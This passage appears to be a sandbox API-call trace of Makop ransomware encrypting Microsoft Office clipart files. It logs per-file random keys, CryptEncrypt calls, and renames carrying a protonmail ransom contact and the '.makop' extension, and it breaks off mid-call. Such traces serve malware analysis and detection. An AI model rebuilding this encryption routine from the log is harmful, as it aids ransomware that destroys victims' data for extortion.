GetProcessHeap () returned 0x48a0000 [0111.068] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.068] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.068] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.068] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.068] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.069] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.070] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.070] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.070] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa79c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa79c, lpOverlapped=0x0) returned 1 [0111.072] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7a0, dwBufLen=0xa7a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7a0) returned 1 [0111.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.073] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa7a0, lpOverlapped=0x0) returned 1 [0111.073] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.073] SetEndOfFile (hFile=0xf0) returned 1 [0111.081] GetProcessHeap () returned 0x48a0000 [0111.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.081] GetProcessHeap () returned 0x48a0000 [0111.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.082] CloseHandle (hObject=0xf0) returned 1 [0111.083] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0111.083] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0111.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.083] GetProcessHeap () returned 0x48a0000 [0111.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.084] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.088] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.089] GetProcessHeap () returned 0x48a0000 [0111.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.089] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.089] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.089] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.090] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.091] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c8, lpOverlapped=0x0) returned 1 [0111.091] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d0) returned 1 [0111.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d0, lpOverlapped=0x0) returned 1 [0111.091] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.092] SetEndOfFile (hFile=0xf0) returned 1 [0111.098] GetProcessHeap () returned 0x48a0000 [0111.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.098] GetProcessHeap () returned 0x48a0000 [0111.099] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.099] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.100] CloseHandle (hObject=0xf0) returned 1 [0111.101] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0111.101] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0111.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.102] GetProcessHeap () returned 0x48a0000 [0111.102] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.102] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.106] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.107] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.107] GetProcessHeap () returned 0x48a0000 [0111.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.107] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.107] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.107] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.107] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.107] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.108] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.108] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.108] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x78c, lpOverlapped=0x0) returned 1 [0111.108] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790) returned 1 [0111.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x790, lpOverlapped=0x0) returned 1 [0111.109] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.109] SetEndOfFile (hFile=0xf0) returned 1 [0111.117] GetProcessHeap () returned 0x48a0000 [0111.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.117] GetProcessHeap () returned 0x48a0000 [0111.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.117] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.119] CloseHandle (hObject=0xf0) returned 1 [0111.119] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0111.119] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0111.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.121] GetProcessHeap () returned 0x48a0000 [0111.121] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.121] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.126] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.126] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.126] GetProcessHeap () returned 0x48a0000 [0111.126] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.126] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.126] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.127] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.127] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.127] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.128] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb88, lpOverlapped=0x0) returned 1 [0111.128] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb90, dwBufLen=0xb90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb90) returned 1 [0111.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb90, lpOverlapped=0x0) returned 1 [0111.128] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.128] SetEndOfFile (hFile=0xf0) returned 1 [0111.143] GetProcessHeap () returned 0x48a0000 [0111.143] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.143] GetProcessHeap () returned 0x48a0000 [0111.143] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.143] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.145] CloseHandle (hObject=0xf0) returned 1 [0111.145] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0111.145] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0111.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.146] GetProcessHeap () returned 0x48a0000 [0111.146] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.146] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: 